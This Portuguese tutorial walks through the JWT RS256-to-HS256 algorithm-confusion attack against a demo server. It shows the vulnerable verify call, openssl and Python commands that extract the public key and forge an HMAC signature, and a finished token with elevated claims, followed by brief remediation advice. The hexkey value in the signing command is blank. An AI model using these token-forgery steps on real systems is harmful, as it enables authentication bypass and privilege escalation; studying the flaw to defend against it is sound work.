Apenas para fins educacionais! Destinado a testadores de penetração de
hackers .
Edição
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem. O algoritmo RS256 usa a chave privada para assinar a mensagem e a chave pública para autenticação.
Se você alterar o algoritmo de RS256 para HS256, o código de back-end utilizará a chave pública como chave secreta e, em seguida, o algoritmo HS256 para verificar a assinatura. Algoritmo de codificação assimétrica => Algoritmo de codificação simétrica.
Como a chave pública às vezes pode ser obtida pelo invasor, ele pode modificar o algoritmo no cabeçalho para HS256 e, em seguida, usar a chave pública RSA para assinar os dados.
O código de back-end usa a chave pública RSA + algoritmo HS256 para verificação de assinatura.
Exemplo
A vulnerabilidade aparece quando a validação do lado do cliente se parece com isso:
const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )
Vamos supor que tenhamos um token inicial como apresentado abaixo e "=>" explicará as modificações que o invasor pode fazer:
//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }
O código de back-end usa a chave pública como chave secreta e, em seguida, usa o algoritmo HS256 para verificar a assinatura.
Ataque
1. Capture o tráfego e o JWT Token válido (exemplo do Grupo NCC)
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
2. Decodifique o token com o decodificador Burp
A estrutura é header.payload.signature com cada componente codificado em base64 usando o esquema seguro para URL e qualquer preenchimento removido.
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
3. Modifique o cabeçalho
alg para HS256
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
4. Converta de volta para o formato JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
Cabeçalho e carga pronta para uso :)
5. Copie o certificado do servidor e extraia a chave pública
Tudo o que falta é a assinatura e, para calcular que precisamos da chave pública que o servidor está usando. Pode ser que isso esteja disponível gratuitamente.
openssl s_client -connect <hostname>:443
Copie a saída “Certificado do servidor” para um arquivo (por exemplo, cert.pem) e extraia a chave pública (para um arquivo chamado key.pem) executando:
openssl x509 -in cert.pem -pubkey –noout > key.pem
Vamos transformá-lo em hexadecimal ASCII:
cat key.pem | xxd -p | tr -d "\\n"
Ao fornecer a chave pública como hexadecimal ASCII para nossa operação de assinatura, podemos ver e controlar completamente os bytes
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:
A saída - ou seja, a assinatura HMAC - é:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
Uma linha para transformar essa assinatura hexadecimal ASCII no formato JWT é:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
A saída é a nossa assinatura:
2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
Basta adicioná-lo ao nosso token modificado:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
6. Envie o token alterado para o servidor.
Resolução
1. Use apenas um algoritmo de criptografia (se possível)

2. Crie funções diferentes para verificar algoritmos diferentes

Referências
1.
medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e62.www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries4.www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through